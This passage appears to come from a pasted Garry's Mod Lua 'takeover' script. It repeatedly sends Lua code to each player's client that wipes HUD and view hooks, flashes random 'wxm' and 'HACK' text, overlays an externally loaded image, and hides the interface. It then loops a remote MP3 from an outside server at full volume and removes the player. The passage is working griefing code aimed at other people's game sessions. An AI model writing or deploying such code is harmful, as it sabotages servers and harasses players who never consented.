  896. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  897. )
  898. end )
  899. ]] )
  900. end )
  901.  
  902. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  903. enigmalaunchproject:SendLua( pPlayer, [[
  904.  
  905. (GAMEMODE or GM).CalcView = function() end
  906. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  907.  
  908. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  909. for k, v in pairs(remove) do
  910. hook.GetTable()[v] = {}
  911. end
  912.  
  913. local function GetWebMat( strURL )
  914. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  915. end
  916.  
  917. hook.Add( "HUDPaint", "hud12enigma", function()
  918. surface.SetDrawColor( 255, 255, 255, 255 )
  919.  
  920. draw.SimpleTextOutlined(
  921. "wxm",
  922. "DermaLarge",
  923. ScrW() /2 +math.random( -850, 850 ),
  924. ScrH() /2 +math.random( -850, 850 ) +100,
  925. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  926. TEXT_ALIGN_CENTER,
  927. TEXT_ALIGN_CENTER,
  928. 1,
  929. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  930. )
  931. end )
  932. ]] )
  933. end )
  934.  
  935. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  936. enigmalaunchproject:SendLua( pPlayer, [[
  937.  
  938. (GAMEMODE or GM).CalcView = function() end
  939. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  940.  
  941. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  942. for k, v in pairs(remove) do
  943. hook.GetTable()[v] = {}
  944. end
  945.  
  946. local function GetWebMat( strURL )
  947. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  948. end
  949.  
  950. hook.Add( "HUDPaint", "hud1enigma", function()
  951. surface.SetDrawColor( 255, 255, 255, 255 )
  952.  
  953. draw.SimpleTextOutlined(
  954. "wxm",
  955. "DermaLarge",
  956. ScrW() /2 +math.random( -300, 600 ),
  957. ScrH() /2 +math.random( -600, 300 ) +200,
  958. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  959. TEXT_ALIGN_CENTER,
  960. TEXT_ALIGN_CENTER,
  961. 1,
  962. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  963. )
  964. end )
  965. ]] )
  966. end )
  967.  
  968. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  969. enigmalaunchproject:SendLua( pPlayer, [[
  970.  
  971. (GAMEMODE or GM).CalcView = function() end
  972. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  973.  
  974. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  975. for k, v in pairs(remove) do
  976. hook.GetTable()[v] = {}
  977. end
  978.  
  979. local function GetWebMat( strURL )
  980. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  981. end
  982.  
  983. hook.Add( "HUDPaint", "hud1enigma", function()
  984. surface.SetDrawColor( 255, 255, 255, 255 )
  985.  
  986. draw.SimpleTextOutlined(
  987. "wxm",
  988. "HACK",
  989. ScrW() /2 +math.random( -300, 600 ),
  990. ScrH() /2 +math.random( -600, 300 ) +200,
  991. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  992. TEXT_ALIGN_CENTER,
  993. TEXT_ALIGN_CENTER,
  994. 1,
  995. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  996. )
  997. end )
  998. ]] )
  999. end )
  1000.  
  1001.  
  1002. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1003. enigmalaunchproject:SendLua( pPlayer, ([=[
  1004.  
  1005. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  1006. local html = [[%s]]
  1007. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  1008. local pnl = vgui.Create( "HTML" )
  1009. pnl:SetPos( ScrW() -1, ScrH() -1 )
  1010. pnl:SetVisible( true )
  1011. pnl:SetMouseInputEnabled( false )
  1012. pnl:SetKeyBoardInputEnabled( false )
  1013. pnl:SetSize( intSizeX, intSizeY )
  1014. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  1015.  
  1016. local PageLoaded
  1017. PageLoaded = function()
  1018. local mat = pnl:GetHTMLMaterial()
  1019. if mat then
  1020. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  1021. return
  1022. end
  1023.  
  1024. timer.Simple( 0.5, PageLoaded )
  1025. end
  1026.  
  1027. PageLoaded()
  1028. end
  1029.  
  1030. LoadWebMaterial( "https://upload.wikimedia.org/wikipedia/commons/thumb/e/e3/Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg/220px-Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg", "EnigmaLogo", 1000, 1000 )
  1031. ]=]):format(lol.m_strImageLoadHTML) )
  1032. end )
  1033.  
  1034. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1035. enigmalaunchproject:SendLua( pPlayer, [[
  1036. (GAMEMODE or GM).CalcView = function() end
  1037. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1038.  
  1039. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1040. for k, v in pairs(remove) do
  1041. hook.GetTable()[v] = {}
  1042. end
  1043.  
  1044. local function GetWebMat( strURL )
  1045. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1046. end
  1047.  
  1048. hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  1049. surface.SetDrawColor( 255, 255, 255, 255 )
  1050.  
  1051. if GetWebMat( "EnigmaLogo" ) then
  1052. surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  1053. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  1054. end
  1055. end )
  1056.  
  1057. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  1058. hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  1059.  
  1060. surface.PlaySound( "garrysmod/save_load4.wav" )
  1061. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  1062. ]] )
  1063. end )
  1064.  
  1065. lol:PushAction( 175, function( pPlayer )
  1066. lol:SendLua( pPlayer, [[
  1067. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  1068.  
  1069. local sounds = {}
  1070. for i = 1, 4 do
  1071. sound.PlayURL( "http://marlowfr.alwaysdata.net/marlow.mp3", "noblock noplay", function( pChan )
  1072. sounds[#sounds +1] = pChan
  1073. end )
  1074. end
  1075.  
  1076. timer.Create( "asdf", 1, 0, function()
  1077. if #sounds ~= 4 then return end
  1078. timer.Destroy( "asdf" )
  1079. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  1080. end )
  1081.  
  1082. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  1083. ]] )
  1084.  
  1085. pPlayer:Remove()
  1086. end )
Advertisement
Add Comment
Please, Sign In to add comment